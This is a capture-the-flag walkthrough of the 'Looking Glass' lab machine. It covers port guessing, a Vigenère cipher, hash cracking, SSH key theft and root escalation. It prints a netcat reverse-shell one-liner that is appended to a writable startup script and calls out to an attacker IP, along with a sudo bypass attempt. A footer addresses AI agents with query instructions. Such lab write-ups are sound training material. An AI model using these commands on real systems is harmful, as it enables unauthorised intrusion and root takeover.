# Looking Glass

1. Nmap scan

seems many ports are running: Dropbear sshd (protocol 2.0)

2. Dropbear sshd

Lets google for more information

3. Connect to SSH port

I attempt to connect to the SSH (non default port) and i get the following:

<figure><img src="https://miro.medium.com/v2/resize:fit:875/1*cOpie-LE6j_g0RbOh3DzjQ.png" alt="" height="142" width="700"><figcaption></figcaption></figure>

“lower” ? — i can only assume it means lower port number

<figure><img src="https://miro.medium.com/v2/resize:fit:599/1*E8y-70SSYje3flM8-TOX0A.png" alt="" height="187" width="479"><figcaption></figcaption></figure>

* lets try -p 9050 — still lower, lets keep on trying
* it seems I need to find a way to run through all these ports.

4. Alice in Wonderland

Lower could mean higher and higher could mean lower! everything is in reverse in Alice.

took some manual work but we got there!

<figure><img src="https://miro.medium.com/v2/resize:fit:875/1*-9Fk9de7pZSmsebO_HCkOQ.png" alt="" height="465" width="700"><figcaption></figcaption></figure>

5. Lets decode/decrypt

Googling Jabberwocky = a nonsense poem by Lewis Carroll

<figure><img src="https://miro.medium.com/v2/resize:fit:568/1*k_nKCo869JjYBXQzyFniSQ.png" alt="" height="746" width="454"><figcaption></figcaption></figure>

<figure><img src="https://miro.medium.com/v2/resize:fit:875/1*1dd7Pjtwd3oLByZvk4KX5w.png" alt="" height="521" width="700"><figcaption></figcaption></figure>

ok let try Chaocipher and Vigenere Cipher

6. Ciphers

The usual sites did not work, as I did not have a key, so I googled break vigenere without key

[Vigenere Solver | guballa.deThis online tool breaks Vigenère ciphers without knowing the key. Besides the classical variant Beaufort ciphers and…www.guballa.de](https://www.guballa.de/vigenere-solver?source=post_page-----ecf4e6f8b7ad---------------------------------------)

* we have the password, lets use it to log in

7. ssh

<figure><img src="https://miro.medium.com/v2/resize:fit:573/1*Varb0T-cXi81H-U3PWTa5Q.png" alt="" height="66" width="458"><figcaption></figcaption></figure>

* ok we get this message when we attempt to connect. Can we connect from -p 22
* seems like this is a Username and password! to be used on default ssh port.

<figure><img src="https://miro.medium.com/v2/resize:fit:491/1*Ku3w3E_hvLwbCqHgto5QYg.png" alt="" height="112" width="393"><figcaption></figcaption></figure>

perfect we are in!

8. user.txt

get the user.txt — it needs to be reversed just use an online tool

9. priv esc

in the home directory we find poem.txt and a script, Which displays a poem to all users using command wall.

Lets find the users on the system — using /etc/passwd

<figure><img src="https://miro.medium.com/v2/resize:fit:755/1*u6wwZnbIoncySQrvAWMNww.png" alt="" height="108" width="604"><figcaption></figcaption></figure>

command: sudo -l

(root) NOPASSWD: /sbin/reboot

so according to google, we can reboot a service after we add some exploit code to it for it run — or similar. Lets carry on looking

10. Linpeas

Lets try and get linpeas on the box and run

<figure><img src="https://miro.medium.com/v2/resize:fit:875/1*iEH0WSBs2aFH4LTxm14R8g.png" alt="" height="179" width="700"><figcaption></figcaption></figure>

linpeas — stated same thing I was thinking, we have a writeable file called twasBrillig.sh

can we transfer our exploits into it and then reboot the system ?

so we know its a .sh file, lets go to rev shells and look for a command we cn use.

```
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.11.11.40 5001 >/tmp/f" >> twasBrillig.sh
```

* set up the listener and execute
* now type sudo reboot

<figure><img src="https://miro.medium.com/v2/resize:fit:826/1*xdmIZ_bJ9d1AR882z1SyNw.png" alt="" height="140" width="661"><figcaption></figcaption></figure>

* wait 30 seconds or so and your listener will have root shell

11. Next user

<figure><img src="https://miro.medium.com/v2/resize:fit:525/1*vKxkKAy8sOOSk4S4ecgHtg.png" alt="" height="106" width="420"><figcaption></figcaption></figure>

* browsing the home directory we find:

<figure><img src="https://miro.medium.com/v2/resize:fit:875/1*I5dZAWWETNftQ_FD0P0AXw.png" alt="" height="286" width="700"><figcaption></figcaption></figure>

* seems like a key as we know user humptydumpty exists

using hash identifier it says possible SHA256.

Using crackstation we found the following:

<figure><img src="https://miro.medium.com/v2/resize:fit:875/1*6vhFiJs0feMWwIQdGYl22g.png" alt="" height="370" width="700"><figcaption></figcaption></figure>

* lets put all these into a file, and attempt a ssh bruteforce attack for user humptydumpty
* (or might even be ble to use as password for changing user using su)
* lets check both.

No luck!

Crackstation could not crack last hash, so lets use the “decrypt” option on

[Decrypt MD5, SHA1, MySQL, NTLM, SHA256, SHA512 hashesHashes.com is a hash lookup service. This allows you to input an MD5, SHA-1, Vbulletin, Invision Power Board, MyBB…hashes.com](https://hashes.com/en/decrypt/hash?source=post_page-----ecf4e6f8b7ad---------------------------------------)

and select “show algorithm of founds”

* the last line was a hex encoded string

12. Humpty Dumpty

<figure><img src="https://miro.medium.com/v2/resize:fit:875/1*trKYMg13ufRhx8l2S9MjlA.png" alt="" height="258" width="700"><figcaption></figcaption></figure>

* we find a poetry.txt in humpty dumptys home directory
* nothing really useful, lets just snoop around — run find perm 04000 commands and whatever else

<figure><img src="https://miro.medium.com/v2/resize:fit:875/1*M5bcG9_CON9DtQImObt1Lw.png" alt="" height="91" width="700"><figcaption></figcaption></figure>

the permissions set for root and alice — seems as if anyone can execute (and read in addition for root) lets look into this

Can we read the ssh keys? lets try.

took some going but found the private key

<figure><img src="https://miro.medium.com/v2/resize:fit:851/1*HIa5_WjQHkkI4HXEnKSDeA.png" alt="" height="559" width="681"><figcaption></figcaption></figure>

13. Alice SSH

<figure><img src="https://miro.medium.com/v2/resize:fit:831/1*i_EiKx_bx4jmVYxHMrFPvw.png" alt="" height="149" width="665"><figcaption></figcaption></figure>

we are now user Alice

14. Browsing

<figure><img src="https://miro.medium.com/v2/resize:fit:874/1*WutaYjtUaE78i2EZe73KKg.png" alt="" height="289" width="699"><figcaption></figcaption></figure>

* lets check out kitten.txt (nowt there)

lets continue looking, including the .home directories

* lets upload linpeas.sh (or similar)

<figure><img src="https://miro.medium.com/v2/resize:fit:771/1*2Dcqc2EHxCZh17wUtS_W7A.png" alt="" height="268" width="617"><figcaption></figcaption></figure>

* this is very interesting! ive come across a box like this before which had this sudo exploit, lets try it out.

[Offensive Security's Exploit Database ArchiveExploit Title : sudo 1.8.27 - Security Bypass # Date : 2019-10-15 # Original Author: Joe Vennix # Exploit Author …www.exploit-db.com](https://www.exploit-db.com/exploits/47502?source=post_page-----ecf4e6f8b7ad---------------------------------------)

```
sudo -u#-1 /bin/bash
```

NOPE — FALSE! did not work — P2 is the patched version, back to looking

No luck, someone suggest I use lse.sh which is available from github. So lets give it ago

According to the github page, you select the level you want to run, so lets do level 2 to dump everything

<figure><img src="https://miro.medium.com/v2/resize:fit:875/1*nXuenS30cHv2K7EfyjP1tQ.png" alt="" height="163" width="700"><figcaption></figcaption></figure>

* we couldn’t access this earlier, but above shows ssalg-gnikool can be run as root, lets google it.

15. Priv Esc

The syntax of the line is specifying that the user “alice” is a member of the group “ssalg-gnikool” and that this group is being granted the ability to run the command “/bin/bash” as the user “root” without the need to enter a password.

google says we can run sudo -g for groups, lets try

<figure><img src="https://miro.medium.com/v2/resize:fit:875/1*w1unI06aFhkfJKPKNiZVNg.png" alt="" height="172" width="700"><figcaption></figcaption></figure>

could not get it working, but found this syntax to use:

sudo -h ssalg-gnikool /bin/bash

Gives an error message but you can now access root.txt

<figure><img src="https://miro.medium.com/v2/resize:fit:778/1*SMro6FT-eBWhKYztnHVP2Q.png" alt="" height="135" width="622"><figcaption></figcaption></figure>

As expected the flag is reversed!


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://foothold.gitbook.io/blog/looking-glass.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
